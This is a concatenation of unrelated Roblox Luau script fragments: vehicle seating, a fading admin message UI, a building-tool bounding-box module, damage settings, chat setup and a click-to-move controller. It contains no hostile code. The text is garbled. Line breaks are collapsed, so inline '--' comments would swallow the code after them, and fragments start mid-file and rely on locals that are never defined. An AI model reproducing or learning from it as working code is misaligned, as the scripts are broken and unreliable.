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--Listen to seat enter/exit
VehicleSeating.AddSeat(DriverSeat, onEnterSeat, onExitSeat) for _, seat in ipairs(AdditionalSeats) do VehicleSeating.AddSeat(seat, onEnterSeat, onExitSeat) end local function playerAdded(player) local playerGui = player:WaitForChild("PlayerGui") if not playerGui:FindFirstChild("VehiclePromptScreenGui") then local screenGui = Instance.new("ScreenGui") screenGui.ResetOnSpawn = false screenGui.Name = "VehiclePromptScreenGui" screenGui.Parent = playerGui local newLocalVehiclePromptGui = Scripts.LocalVehiclePromptGui:Clone() newLocalVehiclePromptGui.CarValue.Value = TopModel newLocalVehiclePromptGui.Parent = screenGui end end Players.PlayerAdded:Connect(playerAdded) for _, player in ipairs(Players:GetPlayers()) do playerAdded(player) end
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent.Parent.Parent._Index local Package = require(PackageIndex["Path"]["Path"]) export type Path = Package.Path return Package
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent) local frame = gui.Frame local frame2 = frame.Frame local msg = frame2.Message local ttl = frame2.Title local Left = frame2.Left local gIndex = data.gIndex local gTable = data.gTable local title = data.Title local message = data.Message local scroll = data.Scroll local tim = data.Time local gone = false if not data.Message or not data.Title then gTable:Destroy() end ttl.Text = title msg.Text = message ttl.TextTransparency = 1 msg.TextTransparency = 1 ttl.TextStrokeTransparency = 1 msg.TextStrokeTransparency = 1 frame.BackgroundTransparency = 1 local log = { Type = "Small Screen Message"; Title = title; Message = message; Icon = "rbxassetid://7501175708"; Time = os.date("%X"); Function = nil; } table.insert(client.Variables.CommunicationsHistory, log) service.Events.CommsCenter:Fire(log) local fadeSteps = 10 local blurSize = 10 local textFade = 0.1 local strokeFade = 0.5 local frameFade = 0.3 local blurStep = blurSize/fadeSteps local frameStep = frameFade/fadeSteps local textStep = 0.1 local strokeStep = 0.1 local function fadeIn() gTable:Ready() for i = 1,fadeSteps do if msg.TextTransparency>textFade then msg.TextTransparency = msg.TextTransparency-textStep ttl.TextTransparency = ttl.TextTransparency-textStep end if msg.TextStrokeTransparency>strokeFade then msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep end if frame.BackgroundTransparency>frameFade then frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep frame2.BackgroundTransparency = frame.BackgroundTransparency end service.Wait("Stepped") end end local function fadeOut() if not gone then gone = true for i = 1,fadeSteps do if msg.TextTransparency<1 then msg.TextTransparency = msg.TextTransparency+textStep ttl.TextTransparency = ttl.TextTransparency+textStep end if msg.TextStrokeTransparency<1 then msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep end if frame.BackgroundTransparency<1 then frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep frame2.BackgroundTransparency = frame.BackgroundTransparency end service.Wait("Stepped") end service.UnWrap(gui):Destroy() end end gTable.CustomDestroy = function() fadeOut() end fadeIn() if not tim then local _,time = message:gsub(" ","") time = math.clamp(time/2,4,11)+1 Left.Text = `[{time}]` for i=time,1,-1 do if not Left then break end Left.Text = `[{i}]` wait(1) end else Left.Text = `[{tim}]` for i=tim,1,-1 do if not Left then break end Left.Text = `[{i}]` wait(1) end end Left.Text = '[Closing]' wait(0.3) if not gone then fadeOut() end end
-- Enable dragging for all image buttons within the UI frame
for _, button in pairs(uiFrame:GetDescendants()) do if button:IsA("ImageButton") then enableDragging(button) end end
-- Initialize internal module state
local StaticParts = {}; local StaticPartsIndex = {}; local StaticPartMonitors = {}; local RecalculateStaticExtents = true; local AggregatingStaticParts = false; local StaticPartAggregators = {}; local PotentialPartMonitors = {}; function BoundingBoxModule.StartBoundingBox(HandleAttachmentCallback) -- Creates and starts a selection bounding box -- Make sure there isn't already a bounding box if BoundingBoxEnabled then return; end; -- Indicate that the bounding box is enabled BoundingBoxEnabled = true; -- Create the box BoundingBox = Core.Make 'Part' { Name = 'BTBoundingBox'; CanCollide = false; Transparency = 1; Anchored = true; Locked = true; Parent = Core.UI; }; -- Make the mouse ignore it Core.Mouse.TargetFilter = BoundingBox; -- Make sure to calculate our static extents RecalculateStaticExtents = true; StartAggregatingStaticParts(); -- Store handle attachment callback BoundingBoxHandleCallback = HandleAttachmentCallback; -- Begin the bounding box's updater BoundingBoxModule.UpdateBoundingBox(); BoundingBoxUpdater = Support.ScheduleRecurringTask(BoundingBoxModule.UpdateBoundingBox, 0.05); -- Attach handles if requested if BoundingBoxHandleCallback then BoundingBoxHandleCallback(BoundingBox); end; end; function BoundingBoxModule.GetBoundingBox() -- Returns the current bounding box -- Get and return bounding box return BoundingBox; end; function IsPhysicsStatic() -- Returns whether the game's physics are active or static -- Determine value if not yet cached if _IsPhysicsStatic == nil then _IsPhysicsStatic = (Core.Mode == 'Plugin') and (Workspace.DistributedGameTime == 0); end; -- Return cached value return _IsPhysicsStatic; end; function BoundingBoxModule.UpdateBoundingBox() -- Updates the bounding box to fit the selection's extents -- Make sure the bounding box is enabled if not BoundingBoxEnabled then return; end; -- If the bounding box is inactive, and should now be active, update it if InactiveBoundingBox and #Core.Selection.Parts > 0 then BoundingBox = InactiveBoundingBox; InactiveBoundingBox = nil; BoundingBoxHandleCallback(BoundingBox); -- If the bounding box is active, and there are no parts, disable it elseif BoundingBox and #Core.Selection.Parts == 0 then InactiveBoundingBox = BoundingBox; BoundingBox = nil; BoundingBoxHandleCallback(BoundingBox); return; -- Don't try to update the bounding box if there are no parts elseif #Core.Selection.Parts == 0 then return; end; -- Recalculate the extents of static items as needed only if RecalculateStaticExtents then BoundingBoxModule.StaticExtents = BoundingBoxModule.CalculateExtents(StaticParts, nil, true); RecalculateStaticExtents = false; end; -- Update the bounding box local BoundingBoxSize, BoundingBoxCFrame = BoundingBoxModule.CalculateExtents(Core.Selection.Parts, BoundingBoxModule.StaticExtents); BoundingBox.Size = BoundingBoxSize; BoundingBox.CFrame = BoundingBoxCFrame; end; function BoundingBoxModule.ClearBoundingBox() -- Clears the selection bounding box -- Make sure there's a bounding box if not BoundingBoxEnabled then return; end; -- If there's a bounding box updater, stop it if BoundingBoxUpdater then BoundingBoxUpdater:Stop(); BoundingBoxUpdater = nil; end; -- Stop tracking static parts StopAggregatingStaticParts(); -- Delete the bounding box if BoundingBox then BoundingBox:Destroy(); BoundingBox = nil; elseif InactiveBoundingBox then InactiveBoundingBox:Destroy(); InactiveBoundingBox = nil; end; -- Mark the bounding box as disabled BoundingBoxEnabled = false; -- Clear the bounding box handle callback BoundingBoxHandleCallback(nil); BoundingBoxHandleCallback = nil; end; function AddStaticParts(Parts) -- Adds the static parts to the list for state tracking -- Add each given part for _, Part in pairs(Parts) do -- Ensure part isn't already indexed, and verify it is static if not StaticPartsIndex[Part] and (IsPhysicsStatic() or Part.Anchored) then -- Add part to static index StaticPartsIndex[Part] = true; -- Monitor static part for changes AddStaticPartMonitor(Part); end; end; -- Update the static parts list StaticParts = Support.Keys(StaticPartsIndex); -- Recalculate static extents to include added parts RecalculateStaticExtents = true; end; function AddStaticPartMonitor(Part) -- Monitors the given part to track when it is no longer static -- Ensure part is static and isn't already monitored if not StaticPartsIndex[Part] or StaticPartMonitors[Part] then return; end; -- Start monitoring part for changes StaticPartMonitors[Part] = Part.Changed:Connect(function (Property) -- Trigger static extent recalculations on position or size changes if Property == 'CFrame' or Property == 'Size' then RecalculateStaticExtents = true; -- Remove part from static index if it becomes mobile elseif Property == 'Anchored' and not IsPhysicsStatic() and not Part.Anchored then RemoveStaticParts { Part }; end; end); end; function RemoveStaticParts(Parts) -- Removes the given parts from the static parts index -- Remove each given part for _, Part in pairs(Parts) do -- Remove part from static parts index StaticPartsIndex[Part] = nil; -- Clean up the part's change monitors if StaticPartMonitors[Part] then StaticPartMonitors[Part]:Disconnect(); StaticPartMonitors[Part] = nil; end; end; -- Update the static parts list StaticParts = Support.Keys(StaticPartsIndex); -- Recalculate static extents to exclude removed parts RecalculateStaticExtents = true; end; function StartAggregatingStaticParts() -- Begins to look for and identify static parts -- Add current qualifying parts to static parts index AddStaticParts(Core.Selection.Parts); -- Watch for parts that become static for _, Part in ipairs(Core.Selection.Parts) do AddPotentialPartMonitor(Part); end; -- Watch newly selected parts table.insert(StaticPartAggregators, Core.Selection.PartsAdded:Connect(function (Parts) -- Add qualifying parts to static parts index AddStaticParts(Parts); -- Watch for parts that become anchored for _, Part in pairs(Parts) do AddPotentialPartMonitor(Part); end; end)); -- Remove deselected parts from static parts index table.insert(StaticPartAggregators, Core.Selection.PartsRemoved:Connect(function (Parts) RemoveStaticParts(Parts); for _, Part in pairs(Parts) do if PotentialPartMonitors[Part] then PotentialPartMonitors[Part]:Disconnect(); PotentialPartMonitors[Part] = nil; end; end; end)); end; function BoundingBoxModule.RecalculateStaticExtents() -- Sets flag indicating that extents of static items should be recalculated -- Set flag to trigger recalculation on the next step in the update loop RecalculateStaticExtents = true; end; function AddPotentialPartMonitor(Part) -- Monitors the given part to track when it becomes static -- Ensure part is not already monitored if PotentialPartMonitors[Part] then return; end; -- Create anchored state change monitor PotentialPartMonitors[Part] = Part.Changed:Connect(function (Property) if Property == 'Anchored' and Part.Anchored then AddStaticParts { Part }; end; end); end; function BoundingBoxModule.PauseMonitoring() -- Disables part monitors -- Disconnect all potential part monitors for Part, Monitor in pairs(PotentialPartMonitors) do Monitor:Disconnect(); PotentialPartMonitors[Part] = nil; end; -- Disconnect all static part monitors for Part, Monitor in pairs(StaticPartMonitors) do Monitor:Disconnect(); StaticPartMonitors[Part] = nil; end; -- Stop update loop if BoundingBoxUpdater then BoundingBoxUpdater:Stop(); BoundingBoxUpdater = nil; end; end; function BoundingBoxModule.ResumeMonitoring() -- Starts update loop and part monitors for selected and indexed parts -- Ensure bounding box is enabled if not BoundingBoxEnabled then return; end; -- Start static part monitors for StaticPart in pairs(StaticPartsIndex) do AddStaticPartMonitor(StaticPart); end; -- Start potential part monitors for _, Part in ipairs(Core.Selection.Parts) do AddPotentialPartMonitor(Part); end; -- Start update loop if not BoundingBoxUpdater then BoundingBoxUpdater = Support.ScheduleRecurringTask(BoundingBoxModule.UpdateBoundingBox, 0.05); end; end; function StopAggregatingStaticParts() -- Stops looking for static parts, clears unnecessary data -- Disconnect all aggregators for AggregatorKey, Aggregator in pairs(StaticPartAggregators) do Aggregator:Disconnect(); StaticPartAggregators[AggregatorKey] = nil; end; -- Remove all static part monitors for MonitorKey, Monitor in pairs(StaticPartMonitors) do Monitor:Disconnect(); StaticPartMonitors[MonitorKey] = nil; end; -- Remove all potential part monitors for MonitorKey, Monitor in pairs(PotentialPartMonitors) do Monitor:Disconnect(); PotentialPartMonitors[MonitorKey] = nil; end; -- Clear all static part information StaticParts = {}; StaticPartsIndex = {}; BoundingBoxModule.StaticExtents = nil; end;
--// Damage Settings
BaseDamage = 22; LimbDamage = 18; ArmorDamage = 15; HeadDamage = 1000;
-- Get a list of blocked users from the corescripts. -- Spawned because this method can yeild.
spawn(function() -- Pcalled because this method is not released on all platforms yet. if LocalPlayer.UserId > 0 then pcall(function() local blockedUserIds = StarterGui:GetCore("GetBlockedUserIds") if #blockedUserIds > 0 then local setInitalBlockedUserIds = DefaultChatSystemChatEvents:FindFirstChild("SetBlockedUserIdsRequest") if setInitalBlockedUserIds then setInitalBlockedUserIds:FireServer(blockedUserIds) end end end) end end) spawn(function() local success, canLocalUserChat = pcall(function() return Chat:CanUserChatAsync(LocalPlayer.UserId) end) if success then canChat = RunService:IsStudio() or canLocalUserChat end end) local initData = EventFolder.GetInitDataRequest:InvokeServer()
----------------------------------------------------------------------------------------------------------------
local Vector3_new = Vector3.new local math_max = math.max local PI = math.pi local TAU = PI * 2 local tick = tick local function DeltaAngle(current, target) local n = ((target - current) % TAU) return (n > PI and (n - TAU) or n) end local function DeltaAngleV3(p1, p2) return Vector3_new(DeltaAngle(p1.X, p2.X), DeltaAngle(p1.Y, p2.Y), DeltaAngle(p1.Z, p2.Z)) end
--local joystickWidth = 250 --local joystickHeight = 250
local function IsInBottomLeft(pt) local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250) local joystickWidth = joystickHeight return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight end local function IsInBottomRight(pt) local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250) local joystickWidth = joystickHeight return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight end local function CheckAlive(character) local humanoid = findPlayerHumanoid(Player) return humanoid ~= nil and humanoid.Health > 0 end local function GetEquippedTool(character) if character ~= nil then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then return child end end end end local function ExploreWithRayCast(currentPoint, originDirection) local TestDistance = 40 local TestVectors = {} do local forwardVector = originDirection; for i = 0, 15 do table.insert(TestVectors, CFrame.Angles(0, math.pi / 8 * i, 0) * forwardVector) end end local testResults = {} -- Heuristic should be something along the lines of distance and closeness to the traveling direction local function ExploreHeuristic() for _, testData in pairs(testResults) do local walkDirection = -1 * originDirection local directionCoeff = (walkDirection:Dot(testData['Vector']) + 1) / 2 local distanceCoeff = testData['Distance'] / TestDistance testData["Value"] = directionCoeff * distanceCoeff end end for i, vec in pairs(TestVectors) do local hitPart, hitPos = Utility.Raycast(Ray.new(currentPoint, vec * TestDistance), true, {Player.Character}) if hitPos then table.insert(testResults, {Vector = vec; Distance = (hitPos - currentPoint).magnitude}) else table.insert(testResults, {Vector = vec; Distance = TestDistance}) end end ExploreHeuristic() table.sort(testResults, function(a,b) return a["Value"] > b["Value"] end) return testResults end local TapId = 1 local ExistingPather = nil local ExistingIndicator = nil local PathCompleteListener = nil local PathFailedListener = nil local function CleanupPath() DrivingTo = nil if ExistingPather then ExistingPather:Cancel() end if PathCompleteListener then PathCompleteListener:disconnect() PathCompleteListener = nil end if PathFailedListener then PathFailedListener:disconnect() PathFailedListener = nil end if ExistingIndicator then DebrisService:AddItem(ExistingIndicator, 0) ExistingIndicator = nil end end local function getExtentsSize(Parts) local maxX = Parts[1].Position.X local maxY = Parts[1].Position.Y local maxZ = Parts[1].Position.Z local minX = Parts[1].Position.X local minY = Parts[1].Position.Y local minZ = Parts[1].Position.Z for i = 2, #Parts do maxX = math_max(maxX, Parts[i].Position.X) maxY = math_max(maxY, Parts[i].Position.Y) maxZ = math_max(maxZ, Parts[i].Position.Z) minX = math_min(minX, Parts[i].Position.X) minY = math_min(minY, Parts[i].Position.Y) minZ = math_min(minZ, Parts[i].Position.Z) end return Region3.new(Vector3_new(minX, minY, minZ), Vector3_new(maxX, maxY, maxZ)) end local function inExtents(Extents, Position) if Position.X < (Extents.CFrame.p.X - Extents.Size.X/2) or Position.X > (Extents.CFrame.p.X + Extents.Size.X/2) then return false end if Position.Z < (Extents.CFrame.p.Z - Extents.Size.Z/2) or Position.Z > (Extents.CFrame.p.Z + Extents.Size.Z/2) then return false end --ignoring Y for now return true end local AutoJumperInstance = nil local ShootCount = 0 local FailCount = 0 local function OnTap(tapPositions, goToPoint) -- Good to remember if this is the latest tap event TapId = TapId + 1 local thisTapId = TapId local camera = workspace.CurrentCamera local character = Player.Character if not CheckAlive(character) then return end -- This is a path tap position if #tapPositions == 1 or goToPoint then if camera then local unitRay = Utility.GetUnitRay(tapPositions[1].x, tapPositions[1].y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera) local ray = Ray.new(unitRay.Origin, unitRay.Direction*400) local hitPart, hitPt = Utility.Raycast(ray, true, {character}) local hitChar, hitHumanoid = Utility.FindChacterAncestor(hitPart) local torso = character and character:FindFirstChild("Humanoid") and character:FindFirstChild("Humanoid").Torso local startPos = torso.CFrame.p if goToPoint then hitPt = goToPoint hitChar = nil end if hitChar and hitHumanoid and hitHumanoid.Torso and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then CleanupPath() local myHumanoid = findPlayerHumanoid(Player) if myHumanoid then myHumanoid:MoveTo(hitPt) end ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shooot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end elseif hitPt and character and not CurrentSeatPart then local thisPather = Pather(character, hitPt) if thisPather:IsValidPath() then FailCount = 0 -- TODO: Remove when bug in engine is fixed Player:Move(Vector3_new(1, 0, 0)) Player:Move(ZERO_VECTOR3) thisPather:Start() if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(false) end CleanupPath() local destinationGlobe = CreateDestinationIndicator(hitPt) destinationGlobe.Parent = camera ExistingPather = thisPather ExistingIndicator = destinationGlobe if AutoJumperInstance then AutoJumperInstance:Run() end PathCompleteListener = thisPather.Finished:connect(function() if AutoJumperInstance then AutoJumperInstance:Stop() end if destinationGlobe then if ExistingIndicator == destinationGlobe then ExistingIndicator = nil end DebrisService:AddItem(destinationGlobe, 0) destinationGlobe = nil end if hitChar then local humanoid = findPlayerHumanoid(Player) ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shoot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end if humanoid then humanoid:MoveTo(hitPt) end end local finishPos = torso and torso.CFrame.p --hitPt if finishPos and startPos and tick() - Utility.GetLastInput() > 2 then local exploreResults = ExploreWithRayCast(finishPos, ((startPos - finishPos) * XZ_VECTOR3).unit) -- Check for Nans etc.. if exploreResults[1] and exploreResults[1]["Vector"] and exploreResults[1]["Vector"].magnitude >= 0.5 and exploreResults[1]["Distance"] > 3 then if CameraModule then local rotatedCFrame = CameraModule:LookAtPreserveHeight(finishPos + exploreResults[1]["Vector"] * exploreResults[1]["Distance"]) local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame) end end end end) PathFailedListener = thisPather.PathFailed:connect(function() if AutoJumperInstance then AutoJumperInstance:Stop() end if destinationGlobe then FlashRed(destinationGlobe) DebrisService:AddItem(destinationGlobe, 3) end end) else if hitPt then -- Feedback here for when we don't have a good path local failedGlobe = CreateDestinationIndicator(hitPt) FlashRed(failedGlobe) DebrisService:AddItem(failedGlobe, 1) failedGlobe.Parent = camera if ExistingIndicator == nil then FailCount = FailCount + 1 if FailCount >= 3 then if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(true) end CleanupPath() end end end end elseif hitPt and character and CurrentSeatPart then local destinationGlobe = CreateDestinationIndicator(hitPt) destinationGlobe.Parent = camera ExistingIndicator = destinationGlobe DrivingTo = hitPt local ConnectedParts = CurrentSeatPart:GetConnectedParts(true) while wait() do if CurrentSeatPart and ExistingIndicator == destinationGlobe then local ExtentsSize = getExtentsSize(ConnectedParts) if inExtents(ExtentsSize, destinationGlobe.Position) then DebrisService:AddItem(destinationGlobe, 0) destinationGlobe = nil DrivingTo = nil break end else DebrisService:AddItem(destinationGlobe, 0) if CurrentSeatPart == nil and destinationGlobe == ExistingIndicator then DrivingTo = nil OnTap(tapPositions, hitPt) end destinationGlobe = nil break end end else -- no hit pt end end elseif #tapPositions >= 2 then if camera then ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shoot local avgPoint = Utility.AveragePoints(tapPositions) local unitRay = Utility.GetUnitRay(avgPoint.x, avgPoint.y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera) local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end end end end local function CreateClickToMoveModule() local this = {} local LastStateChange = 0 local LastState = Enum.HumanoidStateType.Running local FingerTouches = {} local NumUnsunkTouches = 0 -- PC simulation local mouse1Down = tick() local mouse1DownPos = Vector2.new() local mouse2Down = tick() local mouse2DownPos = Vector2.new() local mouse2Up = tick() local movementKeys = { [Enum.KeyCode.W] = true; [Enum.KeyCode.A] = true; [Enum.KeyCode.S] = true; [Enum.KeyCode.D] = true; [Enum.KeyCode.Up] = true; [Enum.KeyCode.Down] = true; } local TapConn = nil local InputBeganConn = nil local InputChangedConn = nil local InputEndedConn = nil local HumanoidDiedConn = nil local CharacterChildAddedConn = nil local OnCharacterAddedConn = nil local CharacterChildRemovedConn = nil local RenderSteppedConn = nil local HumanoidSeatedConn = nil local function disconnectEvent(event) if event then event:disconnect() end end local function DisconnectEvents() disconnectEvent(TapConn) disconnectEvent(InputBeganConn) disconnectEvent(InputChangedConn) disconnectEvent(InputEndedConn) disconnectEvent(HumanoidDiedConn) disconnectEvent(CharacterChildAddedConn) disconnectEvent(OnCharacterAddedConn) disconnectEvent(RenderSteppedConn) disconnectEvent(CharacterChildRemovedConn) pcall(function() RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate") end) disconnectEvent(HumanoidSeatedConn) end local function IsFinite(num) return num == num and num ~= 1/0 and num ~= -1/0 end local function findAngleBetweenXZVectors(vec2, vec1) return math_atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z) end -- Setup the camera CameraModule = ClassicCameraModule() do -- Extend The Camera Module Class function CameraModule:LookAtPreserveHeight(newLookAtPt) local camera = workspace.CurrentCamera local focus = camera.Focus.p local cameraCFrame = CameraModule.cframe local mag = Vector3_new(cameraCFrame.lookVector.x, 0, cameraCFrame.lookVector.z).magnitude local newLook = (Vector3_new(newLookAtPt.x, focus.y, newLookAtPt.z) - focus).unit * mag local flippedLook = newLook + Vector3_new(0, cameraCFrame.lookVector.y, 0) local distance = (focus - cameraCFrame.p).magnitude local newCamPos = focus - flippedLook.unit * distance return CFrame.new(newCamPos, newCamPos + flippedLook) end local lerp = CFrame.new().lerp function CameraModule:TweenCameraLook(desiredCFrame, speed) local e = 2.718281828459 local function SCurve(t) return 1/(1 + e^(-t*1.5)) end local function easeOutSine(t, b, c, d) if t >= d then return b + c end return c * math_sin(t/d * (math_pi/2)) + b; end local c0, c1 = CFrame_new(ZERO_VECTOR3, self:GetCameraLook()), desiredCFrame - desiredCFrame.p local theta = GetThetaBetweenCFrames(c0, c1) theta = clamp(0, math_pi, theta) local duration = 0.65 * SCurve(theta - math_pi/4) + 0.15 if speed then duration = theta / speed end local start = tick() local finish = start + duration self.UpdateTweenFunction = function() local currTime = tick() - start local alpha = clamp(0, 1, easeOutSine(currTime, 0, 1, duration)) local newCFrame = lerp(c0, c1, alpha) local y = findAngleBetweenXZVectors(newCFrame.lookVector, self:GetCameraLook()) if IsFinite(y) and math_abs(y) > 0.0001 then self.RotateInput = self.RotateInput + Vector2_new(y, 0) end return (currTime >= finish or alpha >= 1) end end end --- Done Extending local function OnTouchBegan(input, processed) if FingerTouches[input] == nil and not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end FingerTouches[input] = processed end local function OnTouchChanged(input, processed) if FingerTouches[input] == nil then FingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end end local function OnTouchEnded(input, processed) --print("Touch tap fake:" , processed) --if not processed then -- OnTap({input.Position}) --end if FingerTouches[input] ~= nil and FingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end FingerTouches[input] = nil end local function OnCharacterAdded(character) DisconnectEvents() InputBeganConn = UIS.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchBegan(input, processed) -- Give back controls when they tap both sticks local wasInBottomLeft = IsInBottomLeft(input.Position) local wasInBottomRight = IsInBottomRight(input.Position) if wasInBottomRight or wasInBottomLeft then for otherInput, _ in pairs(FingerTouches) do if otherInput ~= input then local otherInputInLeft = IsInBottomLeft(otherInput.Position) local otherInputInRight = IsInBottomRight(otherInput.Position) if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(true) end return end end end end end -- Cancel path when you use the keyboard controls. if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then CleanupPath() end if input.UserInputType == Enum.UserInputType.MouseButton1 then mouse1Down = tick() mouse1DownPos = input.Position end if input.UserInputType == Enum.UserInputType.MouseButton2 then mouse2Down = tick() mouse2DownPos = input.Position end end) InputChangedConn = UIS.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchChanged(input, processed) end end) InputEndedConn = UIS.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchEnded(input, processed) end if input.UserInputType == Enum.UserInputType.MouseButton2 then mouse2Up = tick() local currPos = input.Position if mouse2Up - mouse2Down < 0.25 and (currPos - mouse2DownPos).magnitude < 5 then local positions = {currPos} OnTap(positions) end end end) TapConn = UIS.TouchTap:connect(function(touchPositions, processed) if not processed then OnTap(touchPositions) end end) if not UIS.TouchEnabled then -- PC if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end AutoJumperInstance = AutoJumper() end local function getThrottleAndSteer(object, point) local lookVector = (point - object.Position) lookVector = Vector3_new(lookVector.X, 0, lookVector.Z).unit local objectVector = Vector3_new(object.CFrame.lookVector.X, 0, object.CFrame.lookVector.Z).unit local dirVector = lookVector - objectVector local mag = dirVector.magnitude local degrees = math_deg(math_acos(lookVector:Dot(objectVector))) local side = (object.CFrame:pointToObjectSpace(point).X > 0) local throttle = 0 if mag < 0.25 then throttle = 1 end if mag > 1.8 then throttle = -1 end local distance = CurrentSeatPart.Position - DrivingTo local velocity = CurrentSeatPart.Velocity if velocity.magnitude*1.5 > distance.magnitude then if velocity.magnitude*0.5 > distance.magnitude then throttle = -throttle else throttle = 0 end end local steer = 0 if degrees > 5 and degrees < 175 then if side then steer = 1 else steer = -1 end end local rotatingAt = math_deg(CurrentSeatPart.RotVelocity.magnitude) local degreesAway = math_max(math_min(degrees, 180 - degrees), 10) if (CurrentSeatPart.RotVelocity.X < 0)== (steer < 0) then if rotatingAt*1.5 > degreesAway then if rotatingAt*0.5 > degreesAway then steer = -steer else steer = 0 end end end return throttle, steer end local function Update() if CameraModule then if CameraModule.UserPanningTheCamera then CameraModule.UpdateTweenFunction = nil else if CameraModule.UpdateTweenFunction then local done = CameraModule.UpdateTweenFunction() if done then CameraModule.UpdateTweenFunction = nil end end end CameraModule:Update() end if CurrentSeatPart then if DrivingTo then local throttle, steer = getThrottleAndSteer(CurrentSeatPart, DrivingTo) CurrentSeatPart.Throttle = throttle CurrentSeatPart.Steer = steer end end end local success = pcall(function() RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update) end) if not success then if RenderSteppedConn then RenderSteppedConn:disconnect() end RenderSteppedConn = RunService.RenderStepped:connect(Update) end local WasAutoJumper = false local WasAutoJumpMobile = false local function onSeated(child, active, currentSeatPart) if active then if BindableEvent_EnableTouchJump then BindableEvent_EnableTouchJump:Fire(true) end if currentSeatPart and currentSeatPart.ClassName == "VehicleSeat" then CurrentSeatPart = currentSeatPart if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil WasAutoJumper = true else WasAutoJumper = false end if child.AutoJumpEnabled then WasAutoJumpMobile = true child.AutoJumpEnabled = false end end else CurrentSeatPart = nil if BindableEvent_EnableTouchJump then BindableEvent_EnableTouchJump:Fire(false) end if WasAutoJumper then AutoJumperInstance = AutoJumper() WasAutoJumper = false end if WasAutoJumpMobile then child.AutoJumpEnabled = true WasAutoJumpMobile = false end end end local function OnCharacterChildAdded(child) if UIS.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = true end end if child:IsA('Humanoid') then disconnectEvent(HumanoidDiedConn) HumanoidDiedConn = child.Died:connect(function() DebrisService:AddItem(ExistingIndicator, 1) if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end end) local WasAutoJumper = false local WasAutoJumpMobile = false HumanoidSeatedConn = child.Seated:connect(function(active, seat) onSeated(child, active, seat) end) if child.SeatPart then onSeated(child, true, child.SeatPart) end end end CharacterChildAddedConn = character.ChildAdded:connect(function(child) OnCharacterChildAdded(child) end) CharacterChildRemovedConn = character.ChildRemoved:connect(function(child) if UIS.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = false end end end) for _, child in pairs(character:GetChildren()) do OnCharacterChildAdded(child) end end local Running = false function this:Stop() if Running then DisconnectEvents() CleanupPath() if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end if CameraModule then CameraModule.UpdateTweenFunction = nil CameraModule:SetEnabled(false) end -- Restore tool activation on shutdown if UIS.TouchEnabled then local character = Player.Character if character then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then child.ManualActivationOnly = false end end end end DrivingTo = nil Running = false end end function this:Start() if not Running then if Player.Character then -- retro-listen OnCharacterAdded(Player.Character) end OnCharacterAddedConn = Player.CharacterAdded:connect(OnCharacterAdded) if CameraModule then CameraModule:SetEnabled(true) end Running = true end end return this end return CreateClickToMoveModule
--Made by Luckymaxer
